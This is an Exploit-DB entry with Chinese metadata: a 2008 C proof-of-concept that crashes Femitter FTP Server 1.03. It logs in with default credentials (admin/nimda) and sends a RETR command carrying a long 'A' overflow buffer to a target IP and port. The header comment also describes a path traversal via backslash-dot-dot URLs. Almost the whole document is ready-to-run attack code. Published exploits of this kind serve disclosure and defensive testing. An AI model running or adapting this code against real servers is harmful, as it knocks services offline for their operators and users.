标题: Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC) EDB-ID: 6481 CVE: 2008-2032 类型: DOS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: /*0-----------------------------------------------------------------------------------0*\
0           0
|           |
| Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC  |
|           |
| Summary: Femitter Server is an easy-to use HTTP and FTP server application |
| for Windows which allows you to use your own computer for sharing gigabytes |
| of files with your friends and colleagues.     |
|           |
| Desc: Femitter HTTP/FTP 1.03 suffers from a denial of service vulnerability |
| and memory corruption that causes the application to crash. When we send to |
| the RETR command an argument like AAAA:AAAA or an overly long string of As |
| (1024), the server crashes instantly. Also, when typing into browser:  |
| ftp://127.0.0.1/\.. we traverse to the install folder of the program(CWD), |
| and when browsing to ftp://127.0.0.1/\..\/\..\ we get access violation at |
| address 004A218A in module "fem.exe". Write of address 00000000.  |
|           |
| Producst web page: http://acritum.com/fem/index.htm    |
|           |
| Tested on Microsoft Windows XP SP2 (English)     |
|           |
| Vulnerability discovered by Gjoko 'LiquidWorm' Krstic    |
|           |
| liquidworm [t00t] gmail.com       |
|           |
| http://www.zeroscience.org/       |
|           |
| 17.09.2008         |
|           |
0           0
\*0-----------------------------------------------------------------------------------0*/


#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>


#define MANA "\x52\x45\x54\x52\x20\x41\x41\x41\x41\x3A\x41\x41\x41\x41\xD\xA"


void header(void);


int main (int argc, char *argv[])
{

 
 int sckt = 0, sfd = 0;
 char user[] = "USER admin\r\n";
 char pass[] = "PASS nimda\r\n";

 unsigned char payload[]=

 "\x52\x45\x54\x52\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
 "\x41\x41\x41\xD\xA";

 header();
 
 if(argc != 3)
 {
  printf("\nUsage: %s [ip] [port]\n\n", argv[0]);
  return (EXIT_SUCCESS);
 }
 
 struct sockaddr_in dos_ftp;
 sfd = socket(AF_INET, SOCK_STREAM, 0);
 if(sfd < 0)
 {
  perror("Socket");
  printf("Error creating socket...\n");
  return(1);
 } 
 
 printf("\n\n[+] Socket created!\n");
 sleep (1);

 memset(&dos_ftp, 0x0, sizeof(dos_ftp));
 dos_ftp.sin_family = AF_INET;
 dos_ftp.sin_addr.s_addr = inet_addr(argv[1]);
 dos_ftp.sin_port = htons(atoi(argv[2]));
 sckt = connect(sfd, (struct sockaddr *) &dos_ftp, sizeof(dos_ftp));
 if(sckt < 0)
 {
  perror("Connect");
  printf("Error connecting...\n");
  return(1);
 } 

 printf("[+] Connection established!\n");
 sleep (1);
 
 write(sfd, user, strlen(user)); // username
 printf("[+] Sending CMD: %s\n", user);
 sleep (2);
 
 write(sfd, pass, strlen(pass)); // password
 printf("[+] Sending CMD: %s\n", pass);
 sleep (2);
 
 printf("[+] Sending malicious buffer to %s on port %s ...\n", argv[1], argv[2]);
 sleep(2);

 send(sfd, payload, sizeof(payload), 0); // send(sfd, MANA, sizeof(MANA),0);
 printf("[+] Malicious buffer succesfully sent...\n");
 sleep (1);
 printf("[+] Femitter FTP Server v1.03 on %s has crashed!\n\n", argv[1]);
 
 close (sfd);

 return(0);
}

void header()
{
 printf("\n********************************************************************************\n\n");
 printf("\tFemitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC\n");
 printf("\t\t\tby LiquidWorm <liquidworm [t00t] gmail.com>\n\n");
 printf("********************************************************************************\n\n");
}

// milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6481